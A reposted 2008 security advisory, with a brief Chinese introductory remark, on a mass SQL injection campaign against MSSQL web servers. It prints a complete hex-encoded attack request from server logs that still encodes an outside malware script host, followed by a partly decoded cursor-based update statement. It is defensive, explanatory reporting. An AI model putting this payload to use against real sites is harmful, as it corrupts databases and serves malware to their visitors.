SQL Inject来来去去就是折腾这些命令加编码,挺无聊的。
原文地址：http://www.trustedsource.org/blog/142/New-SQL-Injection-Attack-Infecting-Machines
New SQL Injection Attack Infecting Machines
August 10th, 2008
A new SQL injection attack started circulating last week, and appears to have infected several thousand web servers as of late Friday evening. The attacks look similar to the one below, and attempt to query random valid files on the web server.
The sysobjects and syscolumns tables queried are the give away: the attack is targeting machines running MSSQL server and storing the malicious HTML code in the database. It’s also possible that web servers with Sybase database backends could also conceivably be exploited, as Sybase is largely using the same SQL syntax and table structure as MSSQL server.
The SQL statement itself scans through all of the tables in the database, inserting the attack author’s own HTML into the contents of each page. This ultimately causes the web server’s visitors to, depending on their client, be sent one of many different forms of malware from the referred pages. Similar to phishing, this attack takes advantage of the website visitor’s trust in the site they are visiting. Instead of phishing for information, however, malware is sent to the client, which the client has a higher likelihood of accepting being from a trusted site.
This type of attack could conceivably be used to launch traditional phishing attacks on sites requesting financial information, or any other type of attack where the visitors’ trust can be exploited.
The actual requests you may find in your webserver logs look like this:
GET /?';DECLARE%20@S%20CHAR(4000);SET%20@
S=CAST(0x4445434C41524520405420766172636
8617228323535292C40432076617263686172283
430303029204445434C415245205461626C655F4
37572736F7220435552534F5220464F522073656
C65637420612E6E616D652C622E6E616D6520667
26F6D207379736F626A6563747320612C7379736
36F6C756D6E73206220776865726520612E69643
D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F722
0622E78747970653D3335206F7220622E7874797
0653D323331206F7220622E78747970653D31363
729204F50454E205461626C655F437572736F722
04645544348204E4558542046524F4D202054616
26C655F437572736F7220494E544F2040542C404
3205748494C4528404046455443485F535441545
5533D302920424547494E2065786563282775706
4617465205B272B40542B275D20736574205B272
B40432B275D3D5B272B40432B275D2B2727223E3
C2F7469746C653E3C736372697074207372633D2
2687474703A2F2F73646F2E313030306D672E636
E2F63737273732F772E6A73223E3C2F736372697
0743E3C212D2D272720776865726520272B40432
B27206E6F74206C696B6520272725223E3C2F746
9746C653E3C736372697074207372633D2268747
4703A2F2F73646F2E313030306D672E636E2F637
37273732F772E6A73223E3C2F7363726970743E3
C212D2D272727294645544348204E45585420465
24F4D20205461626C655F437572736F7220494E5
44F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415
445205461626C655F437572736F72%20AS%20CHA
R(4000));EXEC(@S);HTTP/1.1
This hexadecimal output decodes to the following SQL statement (malicious urls removed):
DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””>
As of today, this attack is still working and ongoing. We are seeing evidence of successful exploitation attempts across hundreds of web pages . These web pages are associated with web sites from around the world and supplying various content- including government sites, sales sites, real estate sites, and financial information sites among others.
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